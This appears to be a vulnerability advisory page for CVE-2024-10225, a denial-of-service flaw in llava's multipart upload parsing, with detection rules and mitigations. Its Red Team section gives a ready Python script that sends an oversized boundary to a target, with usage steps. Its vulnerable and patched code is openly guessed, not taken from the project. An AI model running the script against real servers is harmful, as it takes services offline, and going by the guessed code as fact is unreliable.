CVE-2024-10225
Executive Summary
CVE-2024-10225 is a high-severity Denial of Service (DoS) vulnerability affecting haotian-liu/llava v1.2.0. The flaw resides in the file upload functionality, where an attacker can append an excessively large number of characters to a multipart boundary. This causes the server to enter a resource-exhaustive loop, processing each character individually, ultimately rendering the application inaccessible. The vulnerability has a CVSS score of 7.5, indicating significant availability impact. No patch is currently available, and exploitation is trivial, requiring no authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the haotian-liu/llava project, which is a Python-based open-source project distributed via GitHub. As an open-source package, users are responsible for verifying the integrity of their dependencies. The lack of a patch means that any deployment of llava v1.2.0 is at risk. Organizations should treat this as a critical supply chain risk and consider temporary mitigations until an official fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: High (A:H) – The service becomes completely unavailable.
Threat Level: High. The ease of exploitation and the potential for complete service disruption make this a serious threat.
Deep Dive & Mechanics
The vulnerability is triggered during the parsing of multipart file upload requests. In HTTP, multipart requests use boundaries to separate different parts of the payload. The llava server, when processing a file upload, reads the boundary string and then iterates through the request body to find the end of the boundary.
The flaw lies in how the server handles a boundary that has been artificially extended with a large number of characters. Instead of recognizing the boundary as invalid or truncating it, the server attempts to match each character of the extended boundary against the incoming data. This results in an O(n) operation where n is the length of the attacker-controlled boundary string. By appending thousands or millions of characters, the attacker forces the server to perform an excessive number of comparisons, consuming CPU resources and blocking the main event loop. This leads to a complete denial of service for all other requests.
The core issue is a lack of input validation on the boundary length and an inefficient string matching algorithm that does not handle pathological inputs gracefully.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code path. The vulnerable logic is likely in the multipart parser, which may look similar to this:
Vulnerable Code (Conceptual):
def parse_multipart_boundary(request):
boundary = request.headers.get('Content-Type').split('boundary=')[1]
# No length check on boundary
data = request.body
# Inefficient character-by-character matching
for i, char in enumerate(data):
if char == boundary[0]:
# Attempt to match entire boundary
if data[i:i+len(boundary)] == boundary:
# Found boundary
pass
Patched Code (Hypothetical):
def parse_multipart_boundary(request):
boundary = request.headers.get('Content-Type').split('boundary=')[1]
# Add length validation
MAX_BOUNDARY_LENGTH = 70 # RFC 2046 recommendation
if len(boundary) > MAX_BOUNDARY_LENGTH:
raise ValueError("Invalid boundary length")
data = request.body
# Use efficient string search (e.g., Boyer-Moore)
boundary_index = data.find(boundary)
if boundary_index != -1:
# Found boundary
pass
The fix would involve:
- Validating the length of the boundary string against a reasonable maximum (e.g., 70 characters as per RFC 2046).
- Using an efficient string search algorithm (like
str.find()in Python, which uses a fast search) instead of a naive character-by-character loop.
Exploitation & Lab Setup
Red Team (Exploitation)
The exploit is straightforward. An attacker sends a POST request to a file upload endpoint with a crafted Content-Type header containing an excessively long boundary.
Exploit Code (Python):
import requests
target_url = "http://target-llava-server:8080/upload"
# Create a boundary with 100,000 characters
malicious_boundary = "A" * 100000
headers = {
"Content-Type": f"multipart/form-data; boundary={malicious_boundary}"
}
# The body can be minimal, just needs to trigger parsing
body = f"--{malicious_boundary}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\npayload\r\n--{malicious_boundary}--\r\n"
try:
response = requests.post(target_url, headers=headers, data=body, timeout=10)
print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
print("Server timed out - likely DoS successful")
except Exception as e:
print(f"Error: {e}")
Usage:
- Replace
target_urlwith the actual URL of the vulnerable llava server. - Run the script. The server should become unresponsive to subsequent requests.
- Verify DoS by attempting to access any other endpoint on the server (e.g., a health check).
Blue Team (Detection & Defense)
Detection:
- Monitor for HTTP requests with abnormally long
Content-Typeheaders, specifically theboundaryparameter. - Look for a high number of 503 Service Unavailable errors or connection timeouts from the llava server.
- Use network monitoring to detect large multipart requests with unusual boundary patterns.
Defense:
- Immediate Mitigation: Deploy a Web Application Firewall (WAF) or reverse proxy (e.g., Nginx) to limit the length of the
Content-Typeheader. For example, in Nginx:server { listen 80; client_header_buffer_size 1k; large_client_header_buffers 4 8k; # Reject requests with Content-Type longer than 256 bytes if ($http_content_type ~* "boundary=.{71,}") { return 400; } } - Rate Limiting: Implement rate limiting on file upload endpoints to reduce the impact of repeated attacks.
- Input Validation: If possible, patch the application to validate boundary length (see patched code section).
- Resource Limits: Use container resource limits (e.g., Docker CPU/memory limits) to prevent a single request from exhausting all server resources.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/upload(or similar endpoints) with aContent-Typeheader containingboundary=followed by a string longer than 70 characters. - Repeated 503 or 502 HTTP response codes from the server.
- High CPU usage on the server correlated with file upload requests.
- HTTP POST requests to
Log IOCs:
- Application logs showing errors like
"multipart parser timeout"or"boundary not found". - Web server logs showing requests with unusually long
Content-Typeheaders.
- Application logs showing errors like
File IOCs:
- Temporary files in the upload directory with names containing long boundary strings (if the server writes them).
Detection Engineering
YARA Rule
rule CVE_2024_10225_DoS_Boundary {
meta:
description = "Detects HTTP requests with excessively long multipart boundaries indicative of CVE-2024-10225"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-10225"
severity = "high"
strings:
$boundary = /boundary=[A-Za-z0-9\-_]{71,}/ nocase
condition:
$boundary
}
Sigma Rule
title: CVE-2024-10225 - Excessive Multipart Boundary Length
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with a multipart boundary longer than 70 characters, indicating exploitation of CVE-2024-10225.
author: Valters IT
date: 2024/10/27
tags:
- attack.t1499
- cve.2024.10225
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'upload'
cs-content-type|re: 'boundary=.{71,}'
condition: selection
falsepositives:
- Legitimate use of very long boundaries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10225 - Excessive Multipart Boundary DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"boundary="; http_header; pcre:"/boundary=[A-Za-z0-9\-_]{71,}/i"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable File Uploads: If file upload functionality is not critical, disable it temporarily.
- Deploy WAF Rules: Use a Web Application Firewall to block requests with boundaries longer than 70 characters.
- Apply Rate Limiting: Limit the number of file upload requests per IP address.
Long-Term Fix:
- Patch the Application: The vendor (haotian-liu) should release a patch that validates boundary length and uses efficient string matching. Until then, consider forking the repository and applying the hypothetical patch described in the "Vulnerable vs. Patched Code" section.
- Upgrade: Monitor the official repository for a patched version and upgrade as soon as it becomes available.
Workaround:
- Use a reverse proxy (e.g., Nginx, HAProxy) to inspect and reject malicious requests before they reach the llava server.
Valters IT
Securing Your Digital Frontier
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.